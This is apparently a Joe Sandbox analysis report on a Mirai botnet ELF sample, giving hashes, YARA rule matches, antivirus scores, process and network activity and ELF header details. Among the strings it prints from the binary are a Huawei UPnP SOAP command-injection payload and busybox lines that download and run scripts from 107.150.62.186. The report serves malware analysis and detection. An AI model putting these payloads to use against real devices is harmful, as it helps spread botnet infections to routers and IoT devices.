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Linux Analysis Report
vcimanagement.x86.elf

Overview

General Information

Sample name:	vcimanagement.x86.elf
Analysis ID:	1582279
MD5:	3c2a41675e076c76114cc43d3b6a3281
SHA1:	2375b82a8cfcdc11c929d8d2f6a6a2f81fd8819a
SHA256:	a0ea4d426ed6e804a64518998b09c24dbaab6b61ba6fb3e4dcdf080c258ea8fc
Tags:	elfuser-abuse_ch
Infos:

Detection

Mirai

Score:	76
Range:	0 - 100
Whitelisted:	false

Signatures

Antivirus / Scanner detection for submitted sample

Malicious sample detected (through community Yara rule)

Multi AV Scanner detection for submitted file

Yara detected Mirai

Machine Learning detection for sample

Executes the "rm" command used to delete files or directories

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Yara signature match

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1582279
Start date and time:	2024-12-30 08:26:22 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 4m 53s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	vcimanagement.x86.elf
Detection:	MAL
Classification:	mal76.troj.linELF@0/0@0/0

Warnings

VT rate limit hit for: http://107.150.62.186/8UsA.sh;
VT rate limit hit for: http://107.150.62.186/bins/x86

Runtime Messages

Command:	/tmp/vcimanagement.x86.elf
PID:	6267
Exit Code:	139
Exit Code Info:	SIGSEGV (11) Segmentation fault invalid memory reference
Killed:	False
Standard Output:
Standard Error:

Process Tree

system is lnxubuntu20

vcimanagement.x86.elf (PID: 6267, Parent: 6192, MD5: 3c2a41675e076c76114cc43d3b6a3281) Arguments: /tmp/vcimanagement.x86.elf

dash New Fork (PID: 6313, Parent: 4331)

rm (PID: 6313, Parent: 4331, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.0Gqbp24jPM /tmp/tmp.9Flr55xoHq /tmp/tmp.FyuYCQPlo6

dash New Fork (PID: 6314, Parent: 4331)

rm (PID: 6314, Parent: 4331, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.0Gqbp24jPM /tmp/tmp.9Flr55xoHq /tmp/tmp.FyuYCQPlo6

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Mirai	Mirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.	No Attribution	http://osint.bambenekconsulting.com/feeds/ http://www.simonroses.com/2016/10/mirai-ddos-botnet-source-code-binary-analysis/ https://blog.malwaremustdie.org/2020/02/mmd-0065-2021-linuxmirai-fbot-re.html https://blog.netlab.360.com/another-lilin-dvr-0-day-being-used-to-spread-mirai-en/ https://blog.netlab.360.com/mirai_ptea-botnet-is-exploiting-undisclosed-kguard-dvr-vulnerability-en/	https://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Initial Sample

Source	Rule	Description	Author	Strings
vcimanagement.x86.elf	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
vcimanagement.x86.elf	Linux_Trojan_Mirai_b14f4c5d	unknown	unknown	0x58b0:$a: 53 31 DB 8B 4C 24 0C 8B 54 24 08 83 F9 01 76 15 66 8B 02 83 E9 02 25 FF FF 00 00 83 C2 02 01 C3 83 F9 01 77 EB 49 75 05 0F BE 02 01 C3
vcimanagement.x86.elf	Linux_Trojan_Mirai_88de437f	unknown	unknown	0xa712:$a: 24 08 8B 4C 24 04 85 D2 74 0D 31 C0 89 F6 C6 04 08 00 40 39 D0
vcimanagement.x86.elf	Linux_Trojan_Mirai_ae9d0fa6	unknown	unknown	0x192:$a: 83 EC 04 8A 44 24 18 8B 5C 24 14 88 44 24 03 8A 44 24 10 25 FF 00
vcimanagement.x86.elf	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xd21d:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
vcimanagement.x86.elf	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xbd09:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
vcimanagement.x86.elf	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0xa6e2:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
Click to see the 2 entries

Memory Dumps

Source	Rule	Description	Author	Strings
6267.1.0000000008048000.0000000008057000.r-x.sdmp	JoeSecurity_Mirai_6	Yara detected Mirai	Joe Security
6267.1.0000000008048000.0000000008057000.r-x.sdmp	Linux_Trojan_Mirai_b14f4c5d	unknown	unknown	0x58b0:$a: 53 31 DB 8B 4C 24 0C 8B 54 24 08 83 F9 01 76 15 66 8B 02 83 E9 02 25 FF FF 00 00 83 C2 02 01 C3 83 F9 01 77 EB 49 75 05 0F BE 02 01 C3
6267.1.0000000008048000.0000000008057000.r-x.sdmp	Linux_Trojan_Mirai_88de437f	unknown	unknown	0xa712:$a: 24 08 8B 4C 24 04 85 D2 74 0D 31 C0 89 F6 C6 04 08 00 40 39 D0
6267.1.0000000008048000.0000000008057000.r-x.sdmp	Linux_Trojan_Mirai_ae9d0fa6	unknown	unknown	0x192:$a: 83 EC 04 8A 44 24 18 8B 5C 24 14 88 44 24 03 8A 44 24 10 25 FF 00
6267.1.0000000008048000.0000000008057000.r-x.sdmp	Linux_Trojan_Mirai_389ee3e9	unknown	unknown	0xd21d:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
6267.1.0000000008048000.0000000008057000.r-x.sdmp	Linux_Trojan_Mirai_cc93863b	unknown	unknown	0xbd09:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
6267.1.0000000008048000.0000000008057000.r-x.sdmp	Linux_Trojan_Mirai_8aa7b5d3	unknown	unknown	0xa6e2:$a: 8B 4C 24 14 8B 74 24 0C 8B 5C 24 10 85 C9 74 0D 31 D2 8A 04 1A 88
Click to see the 2 entries

Suricata Signatures

⊘No Suricata rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: vcimanagement.x86.elf

Avira: detected

Multi AV Scanner detection for submitted file

Source: vcimanagement.x86.elf	ReversingLabs: Detection: 71%
Source: vcimanagement.x86.elf	Virustotal: Detection: 68%			Perma Link

Machine Learning detection for sample

Source: vcimanagement.x86.elf

Joe Sandbox ML: detected

Source: unknown	TCP traffic detected without corresponding DNS query: 34.249.145.219
Source: unknown	TCP traffic detected without corresponding DNS query: 34.249.145.219
Source: unknown	TCP traffic detected without corresponding DNS query: 34.249.145.219
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 34.249.145.219
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43

Source: vcimanagement.x86.elf	String found in binary or memory: http://107.150.62.186/8UsA.sh;
Source: vcimanagement.x86.elf	String found in binary or memory: http://107.150.62.186/bins/x86
Source: vcimanagement.x86.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: vcimanagement.x86.elf	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/

Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39258
Source: unknown	Network traffic detected: HTTP traffic on port 39258 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 42836 -> 443

System Summary

Malicious sample detected (through community Yara rule)

Source: vcimanagement.x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_b14f4c5d Author: unknown
Source: vcimanagement.x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_88de437f Author: unknown
Source: vcimanagement.x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_ae9d0fa6 Author: unknown
Source: vcimanagement.x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: vcimanagement.x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: vcimanagement.x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown
Source: 6267.1.0000000008048000.0000000008057000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_b14f4c5d Author: unknown
Source: 6267.1.0000000008048000.0000000008057000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_88de437f Author: unknown
Source: 6267.1.0000000008048000.0000000008057000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_ae9d0fa6 Author: unknown
Source: 6267.1.0000000008048000.0000000008057000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 Author: unknown
Source: 6267.1.0000000008048000.0000000008057000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b Author: unknown
Source: 6267.1.0000000008048000.0000000008057000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 Author: unknown

Source: Initial sample	String containing 'busybox' found: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 107.150.62.186 -l /tmp/binary -r /mips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary mips)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://107.150.62.186/8UsA.sh; chmod +x 8UsA.sh; sh 8UsA.sh
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://107.150.62.186/8UsA.sh; chmod +x 8UsA.sh; sh 8UsA.shMV

Source: ELF static info symbol of initial sample

.symtab present: no

Source: vcimanagement.x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_b14f4c5d os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = a70d052918dd2fbc66db241da6438015130f0fb6929229bfe573546fe98da817, id = b14f4c5d-054f-46e6-9fa8-3588f1ef68b7, last_modified = 2021-09-16
Source: vcimanagement.x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_88de437f reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = c19eb595c2b444a809bef8500c20342c9f46694d3018e268833f9b884133a1ea, id = 88de437f-9c98-4e1d-96c0-7b433c99886a, last_modified = 2021-09-16
Source: vcimanagement.x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_ae9d0fa6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = ca2bf2771844bec95563800d19a35dd230413f8eff0bd44c8ab0b4c596f81bfc, id = ae9d0fa6-be06-4656-9b13-8edfc0ee9e71, last_modified = 2021-09-16
Source: vcimanagement.x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: vcimanagement.x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: vcimanagement.x86.elf, type: SAMPLE	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26
Source: 6267.1.0000000008048000.0000000008057000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_b14f4c5d os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = a70d052918dd2fbc66db241da6438015130f0fb6929229bfe573546fe98da817, id = b14f4c5d-054f-46e6-9fa8-3588f1ef68b7, last_modified = 2021-09-16
Source: 6267.1.0000000008048000.0000000008057000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_88de437f reference_sample = 8dc745a6de6f319cd6021c3e147597315cc1be02099d78fc8aae94de0e1e4bc6, os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = c19eb595c2b444a809bef8500c20342c9f46694d3018e268833f9b884133a1ea, id = 88de437f-9c98-4e1d-96c0-7b433c99886a, last_modified = 2021-09-16
Source: 6267.1.0000000008048000.0000000008057000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_ae9d0fa6 os = linux, severity = x86, creation_date = 2021-01-12, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = ca2bf2771844bec95563800d19a35dd230413f8eff0bd44c8ab0b4c596f81bfc, id = ae9d0fa6-be06-4656-9b13-8edfc0ee9e71, last_modified = 2021-09-16
Source: 6267.1.0000000008048000.0000000008057000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_389ee3e9 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 59f2359dc1f41d385d639d157b4cd9fc73d76d8abb7cc09d47632bb4c9a39e6e, id = 389ee3e9-70c1-4c93-a999-292cf6ff1652, last_modified = 2022-01-26
Source: 6267.1.0000000008048000.0000000008057000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_cc93863b reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = f3ecd30f0b511a8e92cfa642409d559e7612c3f57a1659ca46c77aca809a00ac, id = cc93863b-1050-40ba-9d02-5ec9ce6a3a28, last_modified = 2022-01-26
Source: 6267.1.0000000008048000.0000000008057000.r-x.sdmp, type: MEMORY	Matched rule: Linux_Trojan_Mirai_8aa7b5d3 reference_sample = 5217f2a46cb93946e04ab00e385ad0fe0a2844b6ea04ef75ee9187aac3f3d52f, os = linux, severity = x86, creation_date = 2022-01-05, scan_context = file, memory, license = Elastic License v2, threat_name = Linux.Trojan.Mirai, fingerprint = 02a2c18c362df4b1fceb33f3b605586514ba9a00c7afedf71c04fa54d8146444, id = 8aa7b5d3-e1eb-4b55-b36a-0d3a242c06e9, last_modified = 2022-01-26

Source: classification engine

Classification label: mal76.troj.linELF@0/0@0/0

Source: /usr/bin/dash (PID: 6313)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.0Gqbp24jPM /tmp/tmp.9Flr55xoHq /tmp/tmp.FyuYCQPlo6			Jump to behavior
Source: /usr/bin/dash (PID: 6314)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.0Gqbp24jPM /tmp/tmp.9Flr55xoHq /tmp/tmp.FyuYCQPlo6			Jump to behavior

Stealing of Sensitive Information

Yara detected Mirai

Source: Yara match	File source: vcimanagement.x86.elf, type: SAMPLE
Source: Yara match	File source: 6267.1.0000000008048000.0000000008057000.r-x.sdmp, type: MEMORY

Remote Access Functionality

Yara detected Mirai

Source: Yara match	File source: vcimanagement.x86.elf, type: SAMPLE
Source: Yara match	File source: 6267.1.0000000008048000.0000000008057000.r-x.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	Path Interception	Path Interception	1 File Deletion	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
vcimanagement.x86.elf	71%	ReversingLabs	Linux.Trojan.Mirai
vcimanagement.x86.elf	68%	Virustotal		Browse
vcimanagement.x86.elf	100%	Avira	EXP/ELF.Mirai.Bootnet.o
vcimanagement.x86.elf	100%	Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Contacted Domains

⊘No contacted domains info

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
http://107.150.62.186/bins/x86	vcimanagement.x86.elf	false	unknown
http://schemas.xmlsoap.org/soap/encoding/	vcimanagement.x86.elf	false	high
http://107.150.62.186/8UsA.sh;	vcimanagement.x86.elf	false	unknown
http://schemas.xmlsoap.org/soap/envelope/	vcimanagement.x86.elf	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
34.249.145.219	unknown	United States	16509	AMAZON-02US	false
109.202.202.202	unknown	Switzerland	13030	INIT7CH	false
91.189.91.43	unknown	United Kingdom	41231	CANONICAL-ASGB	false
91.189.91.42	unknown	United Kingdom	41231	CANONICAL-ASGB	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
34.249.145.219	vcimanagement.m68k.elf	Get hash	malicious	Mirai	Browse
	spc.elf	Get hash	malicious	Mirai, Moobot	Browse
	dlr.arm.elf	Get hash	malicious	Unknown	Browse
	arm.elf	Get hash	malicious	Mirai, Moobot	Browse
	rebirth.ppc.elf	Get hash	malicious	Gafgyt	Browse
	dlr.arm7.elf	Get hash	malicious	Mirai	Browse
	udpmpsl.elf	Get hash	malicious	Unknown	Browse
	bot.x86_64.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse
	main_mpsl.elf	Get hash	malicious	Mirai	Browse
	ub8ehJSePAfc9FYqZIT6.arm7.elf	Get hash	malicious	Mirai	Browse
109.202.202.202	kpLwzBouH4.elf	Get hash	malicious	Unknown	Browse	ch.archive.ubuntu.com/ubuntu/pool/main/f/firefox/firefox_92.0%2bbuild3-0ubuntu0.20.04.1_amd64.deb
91.189.91.43	vcimanagement.sh4.elf	Get hash	malicious	Mirai	Browse
	Aqua.m68k.elf	Get hash	malicious	Mirai	Browse
	botx.arm5.elf	Get hash	malicious	Mirai	Browse
	i.elf	Get hash	malicious	Unknown	Browse
	m68k.elf	Get hash	malicious	Mirai, Moobot	Browse
	arm6.elf	Get hash	malicious	Mirai, Moobot	Browse
	.Sspc.elf	Get hash	malicious	Unknown	Browse
	zmap.arm5.elf	Get hash	malicious	Okiru	Browse
	.Sppc.elf	Get hash	malicious	Unknown	Browse
	main_arm6.elf	Get hash	malicious	Mirai	Browse
91.189.91.42	vcimanagement.m68k.elf	Get hash	malicious	Mirai	Browse
	vcimanagement.sh4.elf	Get hash	malicious	Mirai	Browse
	Aqua.m68k.elf	Get hash	malicious	Mirai	Browse
	botx.arm5.elf	Get hash	malicious	Mirai	Browse
	i.elf	Get hash	malicious	Unknown	Browse
	m68k.elf	Get hash	malicious	Mirai, Moobot	Browse
	arm6.elf	Get hash	malicious	Mirai, Moobot	Browse
	.Sspc.elf	Get hash	malicious	Unknown	Browse
	zmap.arm5.elf	Get hash	malicious	Okiru	Browse
	spc.elf	Get hash	malicious	Mirai, Moobot	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CANONICAL-ASGB	vcimanagement.m68k.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	vcimanagement.sh4.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	Aqua.m68k.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	botx.arm5.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	i.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	m68k.elf	Get hash	malicious	Mirai, Moobot	Browse	91.189.91.42
	wkb86.elf	Get hash	malicious	Mirai	Browse	185.125.190.26
	arm6.elf	Get hash	malicious	Mirai, Moobot	Browse	91.189.91.42
	.Sspc.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	zmap.arm5.elf	Get hash	malicious	Okiru	Browse	91.189.91.42
CANONICAL-ASGB	vcimanagement.m68k.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	vcimanagement.sh4.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	Aqua.m68k.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	botx.arm5.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	i.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	m68k.elf	Get hash	malicious	Mirai, Moobot	Browse	91.189.91.42
	wkb86.elf	Get hash	malicious	Mirai	Browse	185.125.190.26
	arm6.elf	Get hash	malicious	Mirai, Moobot	Browse	91.189.91.42
	.Sspc.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	zmap.arm5.elf	Get hash	malicious	Okiru	Browse	91.189.91.42
INIT7CH	vcimanagement.m68k.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	vcimanagement.sh4.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	Aqua.m68k.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	botx.arm5.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	i.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	m68k.elf	Get hash	malicious	Mirai, Moobot	Browse	109.202.202.202
	arm6.elf	Get hash	malicious	Mirai, Moobot	Browse	109.202.202.202
	.Sspc.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	zmap.arm5.elf	Get hash	malicious	Okiru	Browse	109.202.202.202
	spc.elf	Get hash	malicious	Mirai, Moobot	Browse	109.202.202.202
AMAZON-02US	vcimanagement.m68k.elf	Get hash	malicious	Mirai	Browse	34.249.145.219
	https://smex-ctp.trendmicro.com/wis/clicktime/v1/query?url=https%3a%2f%2fshm.to%2fpolice&umid=0d23e2e5-f76c-4734-8c53-52692e5df704&auth=771bc9afedacaf21ff6267a075d4e92f38a56cd1-76eb9d39a6a3c5ec361f1d32692c8a467e476d6a	Get hash	malicious	Unknown	Browse	34.209.252.91
	https://smex-ctp.trendmicro.com/wis/clicktime/v1/query?url=https%3a%2f%2fshm.to%2fpolice&umid=0d23e2e5-f76c-4734-8c53-52692e5df704&auth=771bc9afedacaf21ff6267a075d4e92f38a56cd1-76eb9d39a6a3c5ec361f1d32692c8a467e476d6a	Get hash	malicious	Unknown	Browse	34.209.252.91
	PersonnelPolicies.pdf	Get hash	malicious	KnowBe4, PDFPhish	Browse	52.208.202.62
	botx.arm5.elf	Get hash	malicious	Mirai	Browse	54.171.230.55
	botx.mips.elf	Get hash	malicious	Mirai	Browse	99.86.94.132
	botx.sh4.elf	Get hash	malicious	Mirai	Browse	63.34.98.47
	botx.x86.elf	Get hash	malicious	Mirai	Browse	52.53.164.71
	botx.ppc.elf	Get hash	malicious	Mirai	Browse	35.154.4.108
	botx.arm7.elf	Get hash	malicious	Mirai	Browse	18.138.207.157

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.430477155301435
TrID:	ELF Executable and Linkable format (Linux) (4029/14) 50.16% ELF Executable and Linkable format (generic) (4004/1) 49.84%
File name:	vcimanagement.x86.elf
File size:	62'224 bytes
MD5:	3c2a41675e076c76114cc43d3b6a3281
SHA1:	2375b82a8cfcdc11c929d8d2f6a6a2f81fd8819a
SHA256:	a0ea4d426ed6e804a64518998b09c24dbaab6b61ba6fb3e4dcdf080c258ea8fc
SHA512:	07ea2aa38065eac7ccb6082b6924d5e147133a767de395470e7b8df567320fad2688d57bf59be40c19ea5abc551b1b6979d71bc892c0258bd13a715a6b49d9a4
SSDEEP:	1536:VMzVhePhrkmetvEuckIzN/hkfgiu5BzZsYmrpY8+3UoBiAGpTLE:VMzVhePlkmetvBcxJhyu5BdyrpE1oAGf
TLSH:	F25339C1A983DCF6DD1146B83177FF328636F436212AE9E7D7D9A923AC81E01910729D
File Content Preview:	.ELF....................d...4...........4. ...(..................... ... ....................p...p..@...............Q.td............................U..S.......w....h........[]...$.............U......=@q...t..5....$p.....$p......u........t....h o..........

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	Intel 80386
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x8048164
Flags:	0x0
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	61824
Section Header Size:	40
Number of Section Headers:	10
Header String Table Index:	9

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x8048094	0x94	0x1c	0x0	0x6	AX	1
.text	PROGBITS	0x80480b0	0xb0	0xe116	0x0	0x6	AX	16
.fini	PROGBITS	0x80561c6	0xe1c6	0x17	0x0	0x6	AX	1
.rodata	PROGBITS	0x80561e0	0xe1e0	0xd40	0x0	0x2	A	32
.ctors	PROGBITS	0x8057000	0xf000	0x8	0x0	0x3	WA	4
.dtors	PROGBITS	0x8057008	0xf008	0x8	0x0	0x3	WA	4
.data	PROGBITS	0x8057020	0xf020	0x120	0x0	0x3	WA	32
.bss	NOBITS	0x8057140	0xf140	0x6a0	0x0	0x3	WA	32
.shstrtab	STRTAB	0x0	0xf140	0x3e	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x8048000	0x8048000	0xef20	0xef20	6.4615	0x5	R E	0x1000	.init .text .fini .rodata
LOAD	0xf000	0x8057000	0x8057000	0x140	0x7e0	4.5493	0x6	RW	0x1000	.ctors .dtors .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x6	RW	0x4

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 30, 2024 08:27:30.880419016 CET	39258	443	192.168.2.23	34.249.145.219
Dec 30, 2024 08:27:30.880471945 CET	443	39258	34.249.145.219	192.168.2.23
Dec 30, 2024 08:27:30.880644083 CET	39258	443	192.168.2.23	34.249.145.219
Dec 30, 2024 08:27:30.881045103 CET	39258	443	192.168.2.23	34.249.145.219
Dec 30, 2024 08:27:30.881064892 CET	443	39258	34.249.145.219	192.168.2.23
Dec 30, 2024 08:27:34.149926901 CET	43928	443	192.168.2.23	91.189.91.42
Dec 30, 2024 08:27:39.525182009 CET	42836	443	192.168.2.23	91.189.91.43
Dec 30, 2024 08:27:55.139007092 CET	43928	443	192.168.2.23	91.189.91.42
Dec 30, 2024 08:27:55.139019966 CET	42516	80	192.168.2.23	109.202.202.202
